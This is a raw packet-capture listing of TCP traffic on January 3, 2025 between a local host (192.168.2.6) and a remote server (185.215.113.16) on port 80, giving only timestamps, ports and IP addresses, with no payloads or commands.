Jan 3, 2025 15:21:25.734469891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734476089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734479904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734486103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734491110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734496117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734500885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734505892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734602928 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.734695911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734710932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734719038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734745979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734764099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734772921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734781027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734790087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734805107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734831095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734846115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734846115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.734853983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734863043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734863997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.734870911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734901905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734908104 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.734918118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734927893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734936953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734951019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734958887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734966040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734971046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.734977007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734992981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.735002041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.735012054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.735019922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.735064983 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.735071898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.735086918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.735095024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.735102892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.735111952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.735157013 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.951710939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.951778889 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.073477983 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.078385115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078411102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078427076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078460932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078460932 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.078483105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078495979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078505993 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.078520060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078531027 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.078542948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078557014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078571081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078583956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078591108 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.078598976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078612089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078613997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.078628063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.078639984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.078666925 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.093576908 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.098404884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098596096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098611116 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098619938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098627090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098635912 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098649025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098664045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098678112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098680973 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.098692894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098706961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098721027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098721027 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.098740101 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.098767042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098773003 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.098783970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098825932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098831892 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.098840952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098856926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098870039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098885059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098895073 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.098898888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098912954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098916054 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.098928928 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.098941088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098962069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098974943 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.098975897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.098989964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099004030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099018097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099025011 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099033117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099046946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099049091 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099061966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099062920 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099097967 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099107027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099128962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099143028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099157095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099170923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099170923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099185944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099191904 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099200010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099214077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099226952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099232912 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099241972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099255085 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099293947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099309921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099309921 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099338055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099351883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099354982 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099365950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099380970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099394083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099395037 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099412918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099421024 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099451065 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099524975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099528074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099541903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099555969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099603891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099618912 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099622965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099623919 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099636078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099649906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099656105 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099663973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099679947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099694014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099706888 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099708080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099720001 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099746943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099750996 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099761963 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099775076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099788904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099797010 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099806070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099821091 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099833965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099847078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099850893 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099877119 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099884987 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099884987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099900007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099914074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099927902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099941969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099956036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099970102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099972963 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099972963 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.099982023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099996090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.099999905 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100008011 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100008965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100059986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100060940 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100074053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100089073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100101948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100111961 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100117922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100131989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100141048 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100146055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100159883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100166082 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100198030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100198030 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100219965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100235939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100270987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100291967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100306988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100313902 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100313902 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100322008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100334883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100341082 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100348949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100363016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100377083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100383997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100390911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100408077 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100430965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100434065 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100452900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100467920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100481033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100493908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100496054 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100507975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100521088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100524902 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100534916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100548983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100552082 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100585938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100601912 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100610018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100622892 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100625992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100656986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100675106 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100677013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100691080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100703955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100718021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100720882 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100733042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100745916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100749016 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100761890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100771904 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100776911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100809097 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100826025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100838900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100852966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100867033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100879908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100892067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100898027 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100898981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100912094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100939989 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100950956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100964069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.100965023 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.100986958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101001024 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101013899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101027966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101039886 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101041079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101052999 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101066113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101078987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101078987 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101092100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101100922 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101104021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101118088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101123095 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101130009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101142883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101147890 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101155996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101170063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101181984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101182938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101195097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101203918 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101207018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101218939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101218939 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101234913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101243973 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101248026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101260900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101268053 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101273060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101284981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101291895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101299047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101305962 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101305962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101319075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101331949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101341009 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101346016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101358891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101372004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101372957 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101382017 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101385117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101397991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101408958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101409912 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101423025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101434946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101439953 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101447105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101458073 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101459026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101471901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101480961 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101494074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101507902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101521015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101524115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101532936 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101543903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101548910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101558924 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101567984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101571083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101583004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101593971 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101596117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101608992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101623058 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101629019 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101636887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101650000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101654053 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.101663113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101675987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.101676941 CET	49829	80	192.168.2.6	185.215.113.16
